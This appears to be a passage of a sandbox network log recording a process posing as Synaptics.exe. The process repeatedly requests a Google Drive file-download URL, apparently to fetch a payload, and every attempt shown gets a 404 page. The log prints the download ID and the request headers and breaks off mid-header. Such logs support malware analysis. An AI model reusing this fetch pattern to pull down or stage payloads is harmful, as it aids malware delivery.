2024-12-30 10:36:25 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49893	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:25 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-I6KrwvlAg49LFI3QMOEQ_w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49894	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:25 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-FIKWb8EcaDTiZMrhmr0iuw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49895	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:26 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:26 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7L3oSXdigHD8jgqE7gtFTP8l5lVHrovFtl15-7Kvhy8SAD9G9Qgp_i3AO8jEt7lnjn Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:26 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-IbdCGZhoIMLFwGZj9klqGA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:26 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:26 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 62 4b 76 47 6a 50 6a 31 4c 55 4a 4e 4f 49 55 64 41 44 64 5f 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="NbKvGjPj1LUJNOIUdADd_w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:26 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49896	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:26 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:26 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4i5sEiNyuhF5BrVHo4KtU8SlgbZzzaJs43IqELHSfB4op5cFF3wffMqcnQ_poQGVmY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:26 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-RX7IWEMyYSlVbnXqrT9arg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:26 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:26 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4d 44 67 6e 53 45 6f 4e 36 6e 65 50 68 52 4e 68 39 4a 50 73 5a 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="MDgnSEoN6nePhRNh9JPsZQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:26 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49898	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:26 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49899	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:26 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49900	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:27 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49901	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:27 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:27 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5AqBy9tun8ULPigPs6eP5Rw7X9xxS8xTEBRJdmvV9LFu4mw9jyVnciP1I90ieAzGhu Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:27 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Zq4UQXsE6qTX5MUard894g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:27 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:27 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 41 4d 4c 71 58 59 34 39 46 35 58 6c 61 67 74 6f 68 48 6f 62 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="wAMLqXY49F5XlagtohHobg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:27 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49904	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:27 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-dxg4uSQLR9mxtnBZRBL6iA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49905	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:27 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:28 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:28 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-98kvmQgok8Yh_-Xe-DoJmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49908	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:28 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-u2jUfVM2JMAAu1ixbzhTCQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, 